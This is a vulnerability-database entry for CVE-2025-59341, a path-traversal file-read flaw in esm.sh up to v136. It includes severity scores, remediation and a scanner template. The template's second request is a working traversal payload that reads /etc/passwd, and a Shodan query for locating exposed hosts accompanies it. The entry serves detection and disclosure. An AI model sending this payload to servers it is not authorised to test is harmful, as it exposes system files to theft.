/Vulnerability Library

esm.sh <= v136 - Local File Inclusion

CVE-2025-59341
Verified

Description

esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.

Severity

High

CVSS Score

7.5

Exploit Probability

1%

Affected Product

esm.sh

Published Date

April 16, 2026

Template Author

0x_akoko

CVE-2025-59341.yaml
id: CVE-2025-59341

info:
  name: esm.sh <= v136 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
   esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.
  impact: |
   Attackers can read arbitrary files from the server, potentially exposing sensitive information.
  remediation: |
   Update esm.sh to a version later than 136 or the latest available version.
  reference:
    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
    - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59341
    cwe-id: CWE-23
    epss-score: 0.00815
    epss-percentile: 0.74509
  metadata:
    verified: true
    max-request: 2
    vendor: esm-dev
    product: esm.sh
    shodan-query: http.html:"esm.sh"
  tags: cve,cve2025,esm,lfi,traversal

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
        condition: and
        internal: true

  - raw:
      - |
        GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206a219c709533d6f18508d562615c34ed293618e226389c97ae41aee12f1bc289022100bbd3819d3c046e6bb1265e5925bed274c8ef880a39eedd59536b9d188abc6566:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-59341
CWE ID:
cwe-23

References

https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532rhttps://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168https://nvd.nist.gov/vuln/detail/CVE-2025-59341

Remediation Steps

Update esm.sh to a version later than 136 or the latest available version.